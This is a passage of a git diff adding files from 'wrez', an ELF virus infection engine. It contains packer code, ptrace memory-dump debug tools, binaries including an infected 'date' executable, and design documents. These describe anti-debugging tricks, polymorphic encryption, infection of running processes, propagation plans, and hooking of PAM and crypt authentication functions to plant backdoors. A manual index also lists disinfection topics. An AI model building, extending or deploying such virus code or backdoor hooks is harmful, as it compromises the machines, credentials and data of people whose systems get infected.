401 printf("Cannot create file '%s'\n", aoutfile);
402 return ERROR;
403 }
404 fwrite(lzbuffer, 1, lzlenght, fp);
405 fclose(fp);
406
407 printf ("%d:%d:%d:%d:%d\n",
408 lzlenght, lenlimit-1, log2(hufflimit1)+1, log2(hufflimit2)+1, (hufflimit1 * 2)+1);
409#if 0
410 fprintf (stderr, "%%define data_length %d\n"
411 "%%define llstuff %d\n"
412 "%%define hl1stuff %d\n"
413 "%%define hl2stuff %d\n"
414 "%%define hf2stuff %d\n",
415 lzlenght, lenlimit-1, log2(hufflimit1)+1, log2(hufflimit2)+1, (hufflimit1 * 2)+1);
416#endif
417
418#if 0
419 ratio = ((long) lenght - (long) lzlenght) * 100 / ((long) lenght);
420 printf("Done!\n\nInput/Output ratio: %i/%i bytes (saved %ld%%)\n",
421 lenght, lzlenght, ratio);
422
423 /* Ok, let's now create the asm file */
424 /* the unpack routine is placed before the place where the unpacked code is said to be,
425 * according to the elf header (is it clean ? mmm, I guess not...).
426 */
427 buffer-=74;
428 starting_offset=*(unsigned long *)((char *)buffer+24);
429 memory=*(unsigned long *)((char *)buffer+64);
430 new_offset=starting_offset-lzlenght-74;
431 new_offset&=~4095;
432 new_offset+=74;
433 memory+=starting_offset - new_offset+4095;
434 memory&=~4095;
435
436 if (!(out=fopen("624.a.out.asm.816HDq", "wb"))) {
437 perror("624.a.out.asm.816HDq");
438 return ERROR;
439 }
440 fprintf(out, "BITS 32\n"
441 "org 0x%lx\n"
442 "%%define decompress_to 0x%lx\n"
443 "%%define data_length %d\n"
444 "%%define llstuff %d\n"
445 "%%define hl1stuff %d\n"
446 "%%define hl2stuff %d\n"
447 "%%define hf2stuff %d\n",
448 new_offset, starting_offset, lzlenght, lenlimit-1, log2(hufflimit1)+1, log2(hufflimit2)+1, (hufflimit1 * 2)+1);
449 fprintf(out, "%s", unpacker);
450 fprintf(out, "incbin \"%s\";\n", destfile);
451 fclose(out);
452
453 /* ok, let's nasm it and tinlink it */
454 /* don't worry about all those sprintf in a fixed size buffer, overflow is not possible */
455 sprintf(tin, "nasm -f bin -o 624.a.out.compressed.0012Aq 624.a.out.asm.816HDq");
456 fprintf(stderr, "%s\n", tin);
457 system(tin);
458 sprintf(tin, "tinlink -o %s -c 624.a.out.compressed.0012Aq -m %ld -s %p", aoutfile, memory, (unsigned char *)new_offset);
459 fprintf(stderr, "%s\n", tin);
460 system(tin);
461 sprintf(tin, "rm 624.a.out.compressed.0012Aq 624.a.out.asm.816HDq %s", destfile);
462 fprintf(stderr, "%s\n", tin);
463 system(tin);
464 return OK;
465#endif
466}
diff --git a/other/wrez/crypto-test.c b/other/wrez/crypto-test.c
new file mode 100644
index 0000000..c43f008
--- /dev/null
+++ b/other/wrez/crypto-test.c
@@ -0,0 +1,32 @@
1
2#include <sys/utsname.h>
3#include <stdio.h>
4#include <stdlib.h>
5#include <string.h>
6#include "crypto.h"
7
8
9int
10main (int argc, char *argv[])
11{
12 char hw[] = "hello world";
13 unsigned int hash;
14 struct utsname un;
15
16
17 hash = mhash (hw, sizeof (hw));
18 printf ("mhash(hw) = 0x%08x\n", hash);
19
20 uname (&un);
21 hash = mhash ((unsigned char *) &un, sizeof (un));
22 printf ("mhash(utsname) = 0x%08x\n", hash);
23
24 if (argc == 2) {
25 hash = mhash (argv[1], strlen (argv[1]));
26 printf ("mhash(\"%s\") = 0x%08x\n", argv[1], hash);
27 }
28
29 exit (EXIT_SUCCESS);
30}
31
32
diff --git a/other/wrez/crypto.c b/other/wrez/crypto.c
new file mode 100644
index 0000000..6c32870
--- /dev/null
+++ b/other/wrez/crypto.c
@@ -0,0 +1,24 @@
1/* crypto, cipher and obfuscation related functions
2 */
3
4#include "crypto.h"
5
6
7/* a very simple homemade hash function with no strong properties at all.
8 */
9unsigned int
10mhash (unsigned char *src, unsigned int len)
11{
12 unsigned int hash = len; /* some small initial gain */
13
14 for (hash = 0 ; len > 0 ; --len, ++src) {
15 hash ^= *src;
16 hash = ((hash & 0xffe00000) >> 21) |
17 ((hash & 0x001fffff) << 11);
18 hash += *src;
19 hash += len;
20 }
21
22 return (hash);
23}
24
diff --git a/other/wrez/crypto.h b/other/wrez/crypto.h
new file mode 100644
index 0000000..75d99ec
--- /dev/null
+++ b/other/wrez/crypto.h
@@ -0,0 +1,23 @@
1
2#ifndef CRYPTO_H
3#define CRYPTO_H
4
5
6/* mhash
7 *
8 * produce a weak 32 bit hash value from a memory block at `src'. use `len'
9 * bytes from it to compute the hash value. it has no strong properties, but
10 * is sufficient for simple stuff. the hash value is also dependant on the
11 * `len' parameter.
12 *
13 * XXX: the memory block to be hashed should be at least 8 bytes long for the
14 * hash to be sufficient !
15 *
16 * return hash value in any case
17 */
18
19unsigned int
20mhash (unsigned char *src, unsigned int len);
21
22#endif
23
diff --git a/other/wrez/crypto.o b/other/wrez/crypto.o
new file mode 100644
index 0000000..209b303
--- /dev/null
+++ b/other/wrez/crypto.o
Binary files differ
diff --git a/other/wrez/date b/other/wrez/date
new file mode 100755
index 0000000..4138b56
--- /dev/null
+++ b/other/wrez/date
Binary files differ
diff --git a/other/wrez/date.infected b/other/wrez/date.infected
new file mode 100755
index 0000000..ba9e809
--- /dev/null
+++ b/other/wrez/date.infected
Binary files differ
diff --git a/other/wrez/debug/pcdebug.c b/other/wrez/debug/pcdebug.c
new file mode 100644
index 0000000..86ee12b
--- /dev/null
+++ b/other/wrez/debug/pcdebug.c
@@ -0,0 +1,250 @@
1/* memory dump utility
2 * -scut
3 */
4
5#include <sys/types.h>
6#include <sys/ptrace.h>
7#include <sys/wait.h>
8#include <sys/user.h>
9#include <errno.h>
10#include <unistd.h>
11#include <stdlib.h>
12#include <stdio.h>
13#include <libgen.h> /* basename */
14
15
16void
17hexdump (unsigned char *data, unsigned int amount);
18
19
20int
21main (int argc, char *argv[])
22{
23 pid_t fpid; /* child pid, gets ptraced */
24 char * argv0;
25 struct user regs; /* PTRACE pulled registers */
26 unsigned long int addr, /* segment start address */
27 addr_end, /* segment end address */
28 len; /* length of segment */
29 unsigned long int addr_walker, /* walker to dump memory */
30 eip; /* current childs eip */
31
32 /* array to temporarily store data into */
33 unsigned char data_saved[sizeof (unsigned long int)];
34
35 /* file to read mapping information */
36 FILE * map_f; /* /proc/<pid>/maps stream */
37 unsigned char map_line[256]; /* one line each from map */
38
39 /* data for the dump files */
40 FILE * dump_f; /* stream */
41 char dump_name[64]; /* filename buffer */
42
43
44 if (argc < 3 || sscanf (argv[1], "0x%lx", &eip) != 1) {
45 printf ("usage: %s <eip> <argv0 [argv1 [...]]>\n\n", argv[0]);
46 printf ("will run 'argv0' as program with given arguments, "
47 "until 'eip' is reached, then\n"
48 "dumping 'len' bytes from 'addr'.\n\n"
49 "example: %s 0x08049014 0x08048000 0x100 /bin/ls "
50 "-l\n\n", argv[0]);
51
52 exit (EXIT_FAILURE);
53 }
54
55 argv0 = argv[2];
56
57 fpid = fork ();
58 if (fpid < 0) {
59 perror ("fork");
60 exit (EXIT_FAILURE);
61 }
62 if (fpid == 0) { /* child */
63 if (ptrace (PTRACE_TRACEME, 0, NULL, NULL) != 0) {
64 perror ("ptrace PTRACE_TRACEME");
65 exit (EXIT_FAILURE);
66 }
67 fprintf (stderr, " child: TRACEME set\n");
68
69 fprintf (stderr, " child: executing: %s\n", argv[2]);
70 close (1);
71 dup2 (2, 1);
72 execve (argv[2], &argv[2], NULL);
73
74 /* failed ? */
75 perror ("execve");
76 exit (EXIT_FAILURE);
77 }
78
79 wait (NULL);
80
81 memset (&regs, 0, sizeof (regs));
82
83 if (ptrace (PTRACE_GETREGS, fpid, NULL, &regs) < 0) {
84 perror ("ptrace PTRACE_GETREGS");
85 exit (EXIT_FAILURE);
86 }
87 fprintf (stderr, "[0x%08lx] first stop\n", regs.regs.eip);
88
89 /* now single step until given eip is reached */
90 do {
91 if (ptrace (PTRACE_SINGLESTEP, fpid, NULL, NULL) < 0) {
92 perror ("ptrace PTRACE_SINGLESTEP");
93 exit (EXIT_FAILURE);
94 }
95 wait (NULL);
96
97 memset (&regs, 0, sizeof (regs));
98 if (ptrace (PTRACE_GETREGS, fpid, NULL, &regs) < 0) {
99 perror ("ptrace PTRACE_GETREGS");
100 exit (EXIT_FAILURE);
101 }
102 fprintf (stderr, "0x%08lx\n", regs.regs.eip);
103 } while (regs.regs.eip != eip);
104
105 fprintf (stderr, "MEMDUMP: eip @ 0x%08lx, dumping...\n", eip);
106
107 snprintf (dump_name, sizeof (dump_name), "%s.regs",
108 basename (argv0));
109 dump_name[sizeof (dump_name) - 1] = '\0';
110 dump_f = fopen (dump_name, "w");
111 if (dump_f == NULL) {
112 perror ("fopen dumpfile regs");
113 exit (EXIT_FAILURE);
114 }
115 fprintf (dump_f, "eax = 0x%08lx\n", regs.regs.eax);
116 fprintf (dump_f, "ebx = 0x%08lx\n", regs.regs.ebx);
117 fprintf (dump_f, "ecx = 0x%08lx\n", regs.regs.ecx);
118 fprintf (dump_f, "edx = 0x%08lx\n", regs.regs.edx);
119 fprintf (dump_f, "esi = 0x%08lx\n", regs.regs.esi);
120 fprintf (dump_f, "edi = 0x%08lx\n", regs.regs.edi);
121 fprintf (dump_f, "ebp = 0x%08lx\n", regs.regs.ebp);
122 fprintf (dump_f, "esp = 0x%08lx\n", regs.regs.esp);
123 fprintf (dump_f, "eflags = 0x%08lx\n", regs.regs.eflags);
124 fprintf (dump_f, "xcs = 0x%08lx\n", regs.regs.xcs);
125 fprintf (dump_f, "xds = 0x%08lx\n", regs.regs.xds);
126 fprintf (dump_f, "xes = 0x%08lx\n", regs.regs.xes);
127 fprintf (dump_f, "xss = 0x%08lx\n", regs.regs.xss);
128 fclose (dump_f);
129
130 snprintf (map_line, sizeof (map_line), "/proc/%d/maps", fpid);
131 map_line[sizeof (map_line) - 1] = '\0';
132 map_f = fopen (map_line, "r");
133 if (map_f == NULL) {
134 perror ("fopen map-file");
135
136 exit (EXIT_FAILURE);
137 }
138
139 while (fgets (map_line, sizeof (map_line), map_f) != NULL) {
140 char map_perm[8];
141
142 if (sscanf (map_line, "%08lx-%08lx %7[rwxp-] ",
143 &addr, &addr_end, map_perm) != 3)
144 {
145 perror ("invalid map-line");
146
147 exit (EXIT_FAILURE);
148 }
149 if (addr_end < addr) {
150 fprintf (stderr, "sanity required, not so: "
151 "addr = 0x%08lx, addr_end = 0x%08lx",
152 addr, addr_end);
153
154 exit (EXIT_FAILURE);
155 }
156 len = addr_end - addr;
157 map_perm[sizeof (map_perm) - 1] = '\0'; /* ;-) */
158
159 fprintf (stderr, "MEMDUMP: -> 0x%08lx (0x%08lx bytes, "
160 "perm %s)\n", addr, len, map_perm);
161
162 snprintf (dump_name, sizeof (dump_name),
163 "%s.0x%08lx.0x%08lx.%s",
164 basename (argv0), addr, len, map_perm);
165 dump_name[sizeof (dump_name) - 1] = '\0';
166 dump_f = fopen (dump_name, "wb");
167 if (dump_f == NULL) {
168 perror ("fopen dumpfile");
169
170 exit (EXIT_FAILURE);
171 }
172
173 /* save data, assuming addr is page aligned */
174 for (addr_walker = 0 ; addr_walker < len ;
175 addr_walker += sizeof (data_saved))
176 {
177 errno = 0;
178
179 *((unsigned long int *) &data_saved[0]) =
180 ptrace (PTRACE_PEEKDATA, fpid,
181 addr + addr_walker, NULL);
182
183 if (errno == 0 && fwrite (&data_saved[0], 1, 4,
184 dump_f) != 4)
185 {
186 perror ("fwrite dumpfile");
187
188 exit (EXIT_FAILURE);
189 } else if (errno != 0) {
190 fprintf (stderr,
191 "[0x%08lx] invalid PTRACE_PEEKDATA\n",
192 addr + addr_walker);
193
194 exit (EXIT_FAILURE);
195 }
196 }
197
198 fclose (dump_f);
199 }
200 fclose (map_f);
201
202 if (ptrace (PTRACE_DETACH, fpid, NULL, NULL) < 0) {
203 perror ("ptrace PTRACE_DETACH");
204 exit (EXIT_FAILURE);
205 }
206
207 fprintf (stderr, "MEMDUMP: success. terminating.\n");
208 exit (EXIT_SUCCESS);
209}
210
211
212
213void
214hexdump (unsigned char *data, unsigned int amount)
215{
216 unsigned int dp, p; /* data pointer */
217 const char trans[] =
218 "................................ !\"#$%&'()*+,-./0123456789"
219 ":;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklm"
220 "nopqrstuvwxyz{|}~...................................."
221 "....................................................."
222 "........................................";
223
224 for (dp = 1; dp <= amount; dp++) {
225 printf ("%02x ", data[dp-1]);
226 if ((dp % 8) == 0)
227 printf (" ");
228 if ((dp % 16) == 0) {
229 printf ("| ");
230 p = dp;
231 for (dp -= 16; dp < p; dp++)
232 printf ("%c", trans[data[dp]]);
233 printf ("\n");
234 }
235 }
236 if ((amount % 16) != 0) {
237 p = dp = 16 - (amount % 16);
238 for (dp = p; dp > 0; dp--) {
239 printf (" ");
240 if (((dp % 8) == 0) && (p != 8))
241 printf (" ");
242 }
243 printf (" | ");
244 for (dp = (amount - (16 - p)); dp < amount; dp++)
245 printf ("%c", trans[data[dp]]);
246 }
247 printf ("\n");
248
249 return;
250}
diff --git a/other/wrez/debug/pcdump b/other/wrez/debug/pcdump
new file mode 100755
index 0000000..3c77057
--- /dev/null
+++ b/other/wrez/debug/pcdump
Binary files differ
diff --git a/other/wrez/debug/pcdump.c b/other/wrez/debug/pcdump.c
new file mode 100644
index 0000000..95b96b7
--- /dev/null
+++ b/other/wrez/debug/pcdump.c
@@ -0,0 +1,148 @@
1/* memory dump utility
2 * -scut
3 */
4
5#include <sys/types.h>
6#include <sys/ptrace.h>
7#include <sys/wait.h>
8#include <sys/user.h>
9#include <errno.h>
10#include <unistd.h>
11#include <stdlib.h>
12#include <stdio.h>
13#include <libgen.h> /* basename */
14
15
16void
17hexdump (unsigned char *data, unsigned int amount);
18
19
20int
21main (int argc, char *argv[], char *envp[])
22{
23 pid_t fpid; /* child pid, gets ptraced */
24 char * argv0;
25 struct user regs; /* PTRACE pulled registers */
26 unsigned long int addr, /* segment start address */
27 addr_end, /* segment end address */
28 len; /* length of segment */
29 unsigned long int addr_walker, /* walker to dump memory */
30 eip; /* current childs eip */
31
32 /* array to temporarily store data into */
33 unsigned char data_saved[sizeof (unsigned long int)];
34
35 /* file to read mapping information */
36 FILE * map_f; /* /proc/<pid>/maps stream */
37 unsigned char map_line[256]; /* one line each from map */
38
39 /* data for the dump files */
40 FILE * dump_f; /* stream */
41 char dump_name[64]; /* filename buffer */
42
43
44 if (argc < 2) {
45 printf ("usage: %s <argv0 [argv1 [...]]>\n\n", argv[0]);
46 printf ("will run 'argv0' as program with given arguments, "
47 "dumping 'eip'\n\n", argv[0]);
48
49 exit (EXIT_FAILURE);
50 }
51
52 fpid = fork ();
53 if (fpid < 0) {
54 perror ("fork");
55 exit (EXIT_FAILURE);
56 }
57 if (fpid == 0) { /* child */
58 if (ptrace (PTRACE_TRACEME, 0, NULL, NULL) != 0) {
59 perror ("ptrace PTRACE_TRACEME");
60 exit (EXIT_FAILURE);
61 }
62 fprintf (stderr, " child: TRACEME set\n");
63
64 fprintf (stderr, " child: executing: %s\n", argv[2]);
65 close (1);
66 dup2 (2, 1);
67 execve (argv[1], &argv[1], envp);
68
69 /* failed ? */
70 perror ("execve");
71 exit (EXIT_FAILURE);
72 }
73
74 wait (NULL);
75
76 memset (&regs, 0, sizeof (regs));
77
78 if (ptrace (PTRACE_GETREGS, fpid, NULL, &regs) < 0) {
79 perror ("ptrace PTRACE_GETREGS");
80 exit (EXIT_FAILURE);
81 }
82 fprintf (stderr, "[0x%08lx] first stop\n", regs.regs.eip);
83
84 /* now single step until given eip is reached */
85 do {
86 if (ptrace (PTRACE_SINGLESTEP, fpid, NULL, NULL) < 0) {
87 perror ("ptrace PTRACE_SINGLESTEP");
88 exit (EXIT_FAILURE);
89 }
90 wait (NULL);
91
92 memset (&regs, 0, sizeof (regs));
93 if (ptrace (PTRACE_GETREGS, fpid, NULL, &regs) < 0) {
94 perror ("ptrace PTRACE_GETREGS");
95 exit (EXIT_FAILURE);
96 }
97 fprintf (stderr, "0x%08lx\n", regs.regs.eip);
98 } while (1);
99
100 if (ptrace (PTRACE_DETACH, fpid, NULL, NULL) < 0) {
101 perror ("ptrace PTRACE_DETACH");
102 exit (EXIT_FAILURE);
103 }
104
105 fprintf (stderr, "MEMDUMP: success. terminating.\n");
106 exit (EXIT_SUCCESS);
107}
108
109
110
111void
112hexdump (unsigned char *data, unsigned int amount)
113{
114 unsigned int dp, p; /* data pointer */
115 const char trans[] =
116 "................................ !\"#$%&'()*+,-./0123456789"
117 ":;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklm"
118 "nopqrstuvwxyz{|}~...................................."
119 "....................................................."
120 "........................................";
121
122 for (dp = 1; dp <= amount; dp++) {
123 printf ("%02x ", data[dp-1]);
124 if ((dp % 8) == 0)
125 printf (" ");
126 if ((dp % 16) == 0) {
127 printf ("| ");
128 p = dp;
129 for (dp -= 16; dp < p; dp++)
130 printf ("%c", trans[data[dp]]);
131 printf ("\n");
132 }
133 }
134 if ((amount % 16) != 0) {
135 p = dp = 16 - (amount % 16);
136 for (dp = p; dp > 0; dp--) {
137 printf (" ");
138 if (((dp % 8) == 0) && (p != 8))
139 printf (" ");
140 }
141 printf (" | ");
142 for (dp = (amount - (16 - p)); dp < amount; dp++)
143 printf ("%c", trans[data[dp]]);
144 }
145 printf ("\n");
146
147 return;
148}
diff --git a/other/wrez/doc/BUGS_FIXME_FIXME_FIXME b/other/wrez/doc/BUGS_FIXME_FIXME_FIXME
new file mode 100644
index 0000000..515d9cd
--- /dev/null
+++ b/other/wrez/doc/BUGS_FIXME_FIXME_FIXME
@@ -0,0 +1,5 @@
1
2
3poly engine is not PIC and buggy
4
5
diff --git a/other/wrez/doc/CHANGELOG b/other/wrez/doc/CHANGELOG
new file mode 100644
index 0000000..623599d
--- /dev/null
+++ b/other/wrez/doc/CHANGELOG
@@ -0,0 +1,17 @@
1
20.7.6 add lookup-pm.[ch] generic lookup interface
3 add preliminary inmem.[ch] in-memory infection module
4 fix tons of bugs in the lookup module
5 incorporate inmem module into build process
6 add test targets to makefile
7
80.7.4 fix bugs in GOT chaining
9 write doc
10 add wrezsweep program
11
120.7.0 bugfixes, bugfixes, bugfixes
13
140.6.14 ah, there is a changelog, nice i forgot about it ;)
15
160.6.8 changelog generated
17
diff --git a/other/wrez/doc/CTORS-CALLING-CODE b/other/wrez/doc/CTORS-CALLING-CODE
new file mode 100644
index 0000000..36c75ec
--- /dev/null
+++ b/other/wrez/doc/CTORS-CALLING-CODE
@@ -0,0 +1,15 @@
1
20x804bc29 <error+11849>: add $0xfffffffc,%ebx
30x804bc2c <error+11852>: cmpl $0xffffffff,(%ebx)
40x804bc2f <error+11855>: jne 0x804bc25 <error+11845>
50x804bc31 <error+11857>: pop %ebx
60x804bc32 <error+11858>: leave
70x804bc33 <error+11859>: ret
80x804bc34 <error+11860>: push %ebp
90x804bc35 <error+11861>: mov %esp,%ebp
100x804bc37 <error+11863>: sub $0x8,%esp
110x804bc3a <error+11866>: leave
12(gdb) x/10b $pc
130x804bc29 <error+11849>: 0x83 0xc3 0xfc
14
15
diff --git a/other/wrez/doc/DEBUGGING b/other/wrez/doc/DEBUGGING
new file mode 100644
index 0000000..d56360d
--- /dev/null
+++ b/other/wrez/doc/DEBUGGING
@@ -0,0 +1,2 @@
1objcopy -j .text -O binary wrez
2objdump --target=binary --architecture=i386 -D wrez
diff --git a/other/wrez/doc/FEATURES b/other/wrez/doc/FEATURES
new file mode 100644
index 0000000..b02c808
--- /dev/null
+++ b/other/wrez/doc/FEATURES
@@ -0,0 +1,65 @@
1
2
3wrez infection engine
4
5
6features
7========
8
9basic features
10--------------
11
12 - fully pic code, useable as shellcode, too
13 - no size restriction on virus code (though < ~20kb is good, see
14 below)
15 - completely modular featureset, most of the code is optional and
16 can be turned on/off through a simple comment in the Makefile
17 - small size: compressed between 2000 and 6000 bytes
18 - fast infection (~30 binaries per second)
19
20
21advanced features
22-----------------
23
24 anti-debugging
25 - strace and ltrace in-memory detection
26 - gdb stealthing, displaying its own memory as "not mapped"
27 - (disabled by default) ptrace-detection
28
29 anti-virus-detection
30 - polymorph decryptor engine (LiME by zhugejin)
31
32 runtime-related
33 - cleanup code, leaving only very small memory footprint
34 - compression engine, crunching the virus down to roughly %60 of the
35 original size. the original virus should be smaller than 20kb, for
36 the decompressor to work properly.
37 - SIGSEGV/SIGILL catching protection around 90% of the virus code.
38 even in case the virus segfaults, its possible to recover to a sane
39 state in 99% of the cases.
40
41 infection-related
42 - activation through .ctors redirection at machine-code level, still
43 leaving the original .ctors section untouched and chaining it
44 - sections/section header table relocation on infection
45 - advanced user-uid infection, locating running processes and their
46 binaries
47 - ability to infect binaries of running processes (avoiding ETXTBUSY)
48 - as best as possible stat preservement when infecting ([cma]time,
49 mode, owner). access time (atime) is only preserved when running
50 as root
51
52 api functionality
53 - call api to any mapped library function (libc and others)
54 - call, hook, chain, modify GOT entries of your host executeable or
55 any mapped library, (i.e. any GOT table). ability to watch and
56 redirect multiple GOT entries across multiple shared libraries
57 at once, watching and re-redirecting them when lazy binding is used.
58 - host fingerprint functionality, change-detection
59
60
61known weaknesses
62================
63
64 - not strip save
65
diff --git a/other/wrez/doc/GOOGLE-PROPAGATION b/other/wrez/doc/GOOGLE-PROPAGATION
new file mode 100644
index 0000000..05fc9e4
--- /dev/null
+++ b/other/wrez/doc/GOOGLE-PROPAGATION
@@ -0,0 +1,12 @@
1
2http://groups.google.com/groups?as_q=warcraft&as_ugroup=rec.games.misc&num=100&as_scoring=d&hl=en
3
4
5so:
6<keyword> some unique string the virus identifies messages with
7<dgroup> newsgroup to drop the messages to
8
9
10http://groups.google.com/groups?as_q=keyword&as_ugroup=dgroup&num=100&as_scoring=d&hl=en
11
12
diff --git a/other/wrez/doc/HOOKING b/other/wrez/doc/HOOKING
new file mode 100644
index 0000000..6933506
--- /dev/null
+++ b/other/wrez/doc/HOOKING
@@ -0,0 +1,82 @@
1
2
3wrez - GOT hooking
4short readme file
5
6
7The wrez API provides some functionality to hook functions called from the
8host binary. This functions are:
9
10
11Elf32_Word *
12got_funcloc (void *mybase, char *name);
13
14Elf32_Word *
15got_funcloc_dyn (Elf32_Dyn *dyno, Elf32_Addr loadbase, char *name);
16
17
18The first function is a simple wrapper to the second, which provides more
19precise control what functions you want to hook. Every executeable and every
20shared library within the process space has a global offset table associated
21with it (GOT). The 'got_funcloc' function only affects the GOT of the host
22executeable. With it, you can redirect any library function called from the
23host code. So, if the infected file runs system() or some other library call,
24you can hook it by changing its GOT table entry. The use of the 'got_funcloc'
25function is pretty straightforward, you only have to know the name of the
26function you want to hook and the base address of the executeable. The base
27address is the address of first byte of the ELF header, and usually provided
28through the wrconfig structure after a successful infection.
29
30 You can also hook functions called from shared libraries. But this is only
31true for library functions, but then its even possible to hook intra-library
32function calls, for example if libpam calls one of its internal functions, its
33possible to hook this. It is not possible to hook syscalls within libc, for
34example you cannot hook execve calls within libc. You can, however, hook
35inter-library calls of execve, such as if an external library calls execve.
36
37To sum it up:
38
39 Type of call | Library relation | Hookable
40 ----------------------------+------------------+-------------------------
41 System call | none | no
42 Library system call | none | no
43 Executeable to library | inter | yes, GOT of executeable
44 Library to another library | inter | yes, GOT of calling lib
45 Library to itself | intra | yes, GOT of library
46 ----------------------------+------------------+-------------------------
47
48The most common thing to do is to hook calls the executeable makes, for
49example calls to select, execve and other obvious virus targets.
50
51However, you can also hook some internal calls within the libraries, such as
52authentification functions (libpam, libcrypt, ..) to provide backdoor
53functionality.
54
55
56To hook arbitrary GOT entries, you can use this API function:
57
58int
59got_funcloc_array (void *mybase, char *name, Elf32_Word *darr[], int darr_len);
60
61It fills all GOT locations it can obtain for a function symbol into the darr[]
62array, which can keep darr_len bytes. The function returns the number of
63entries filled.
64
65
66For further information look into lookup.h, lookup.c and wrcore.c
67(LIBC_CALLING_EXAMPLE, GOT_REDIRECTION_EXAMPLE, GOT_DEEP_REDIRECTION_EXAMPLE).
68
69
70To see the redirection code in action, uncomment the two DFLAGS lines in the
71Makefile (GOT_*_EXAMPLE), and execute:
72
73$ make release lookuptest
74$ cp lookup-test/* release-*/
75$ cd release-*
76$ source ldpath.sh
77$ ./infect shared-library-use
78$ ./shared-library-use.infected
79
80See wrcore.c how this is accomplished.
81
82
diff --git a/other/wrez/doc/TODO b/other/wrez/doc/TODO
new file mode 100644
index 0000000..fa7e3de
--- /dev/null
+++ b/other/wrez/doc/TODO
@@ -0,0 +1,40 @@
1
2TODO
3====
4
5short term
6 - record-route option, include timestamp,ip,cwd,uid,uname in the virus
7 on a change on either of those. make the fingerprinting module more
8 flexible to include multiple (arbitrary number) of sources for
9 the fingerprint. make an accumulative api, sort of hashpool
10
11 - ANTI-DEBUG: modify [sl]trace protection to scan for "race" instead
12 of "trac", to defy subterfugue, too (http://subterfugue.org/)
13
14 - replace/provide small inlined assembly versions of:
15 memmove, strstr
16
17 - make more use of the per-host fingerprinting functionality (like:
18 propagation-limitations, mode-change-after-certain-hopcount-reached,
19 ...)
20
21
22mid term
23 - think of a way to make it strip-save
24
25 - add in-memory infection code. try to infect every running process
26 through ptrace, by attaching to it, finding malloc(), and copying
27 itself into the created space. add a special flag into the runtime
28 infected copy, so that its recognized as a) already infected and
29 b) runnign only within-memory. try to make the virus as lasting
30 as possible, even in uid=user environments, where no binary can be
31 infected. make it resident in victim process by hooking some common
32 .plt entry, such as read()/write()/select()
33
34
35long term
36 - discuss ssh and generic pty ideas, maybe do evil things through .plt
37
38 - evaluate further propagation methods (active ones)
39
40
diff --git a/other/wrez/doc/wrez-manual/wrez.aux b/other/wrez/doc/wrez-manual/wrez.aux
new file mode 100644
index 0000000..18ab83a
--- /dev/null
+++ b/other/wrez/doc/wrez-manual/wrez.aux
@@ -0,0 +1,15 @@
1'xrdef {Top-title}{WREZ Introduction}
2'xrdef {Top-pg}{1}
3'xrdef {Top-snt}{}
4'xrdef {Building WREZ-title}{Building WREZ}
5'xrdef {Building WREZ-pg}{2}
6'xrdef {Building WREZ-snt}{Section'tie1.1}
7'xrdef {WREZ API-title}{WREZ API}
8'xrdef {WREZ API-pg}{7}
9'xrdef {WREZ API-snt}{Chapter'tie4}
10'xrdef {wrezsweep utility-title}{\command {wrezsweep} utility}
11'xrdef {wrezsweep utility-pg}{11}
12'xrdef {wrezsweep utility-snt}{Section'tie5.2}
13'xrdef {Index-title}{Index}
14'xrdef {Index-pg}{13}
15'xrdef {Index-snt}{}
diff --git a/other/wrez/doc/wrez-manual/wrez.cp b/other/wrez/doc/wrez-manual/wrez.cp
new file mode 100644
index 0000000..b486cec
--- /dev/null
+++ b/other/wrez/doc/wrez-manual/wrez.cp
@@ -0,0 +1,31 @@
1\entry{about WREZ}{1}{about WREZ}
2\entry{engine code}{1}{engine code}
3\entry{WREZ toolchain}{1}{WREZ toolchain}
4\entry{building WREZ}{2}{building WREZ}
5\entry{engine features, configuration}{2}{engine features, configuration}
6\entry{release target, files created}{2}{release target, files created}
7\entry{infect wrapper}{2}{infect wrapper}
8\entry{initial infector}{3}{initial infector}
9\entry{initial, command line options}{3}{initial, command line options}
10\entry{wrez.bin.out, configuration}{3}{wrez.bin.out, configuration}
11\entry{source, files}{4}{source, files}
12\entry{helper macros}{7}{helper macros}
13\entry{STRINGPTR macro}{7}{STRINGPTR macro}
14\entry{FUNCPTR macro}{7}{FUNCPTR macro}
15\entry{system calls}{7}{system calls}
16\entry{library calls}{8}{library calls}
17\entry{disinfection}{8}{disinfection}
18\entry{disinfection, manual}{9}{disinfection, manual}
19\entry{removing the virus}{9}{removing the virus}
20\entry{.ctors address, restoring the}{10}{.ctors address, restoring the}
21\entry{PT_LOAD segment header, fixing the}{10}{PT_LOAD segment header, fixing the}
22\entry{section header table offset, fixing the}{10}{section header table offset, fixing the}
23\entry{section header table, fixing the}{10}{section header table, fixing the}
24\entry{wrezsweep utility}{11}{wrezsweep utility}
25\entry{VIT virus}{11}{VIT virus}
26\entry{wrezsweep help}{11}{wrezsweep help}
27\entry{disinfection, automatic}{11}{disinfection, automatic}
28\entry{polymorph disinfection}{11}{polymorph disinfection}
29\entry{wrezsweep verbose mode}{11}{wrezsweep verbose mode}
30\entry{virus extraction, automatic}{11}{virus extraction, automatic}
31\entry{wrezsweep example}{11}{wrezsweep example}
diff --git a/other/wrez/doc/wrez-manual/wrez.cps b/other/wrez/doc/wrez-manual/wrez.cps
new file mode 100644
index 0000000..e74461c
--- /dev/null
+++ b/other/wrez/doc/wrez-manual/wrez.cps
@@ -0,0 +1,45 @@
1\initial {.}
2\entry {.ctors address, restoring the}{10}
3\initial {A}
4\entry {about WREZ}{1}
5\initial {B}
6\entry {building WREZ}{2}
7\initial {D}
8\entry {disinfection}{8}
9\entry {disinfection, automatic}{11}
10\entry {disinfection, manual}{9}
11\initial {E}
12\entry {engine code}{1}
13\entry {engine features, configuration}{2}
14\initial {F}
15\entry {FUNCPTR macro}{7}
16\initial {H}
17\entry {helper macros}{7}
18\initial {I}
19\entry {infect wrapper}{2}
20\entry {initial infector}{3}
21\entry {initial, command line options}{3}
22\initial {L}
23\entry {library calls}{8}
24\initial {P}
25\entry {polymorph disinfection}{11}
26\entry {PT_LOAD segment header, fixing the}{10}
27\initial {R}
28\entry {release target, files created}{2}
29\entry {removing the virus}{9}
30\initial {S}
31\entry {section header table offset, fixing the}{10}
32\entry {section header table, fixing the}{10}
33\entry {source, files}{4}
34\entry {STRINGPTR macro}{7}
35\entry {system calls}{7}
36\initial {V}
37\entry {virus extraction, automatic}{11}
38\entry {VIT virus}{11}
39\initial {W}
40\entry {WREZ toolchain}{1}
41\entry {wrez.bin.out, configuration}{3}
42\entry {wrezsweep example}{11}
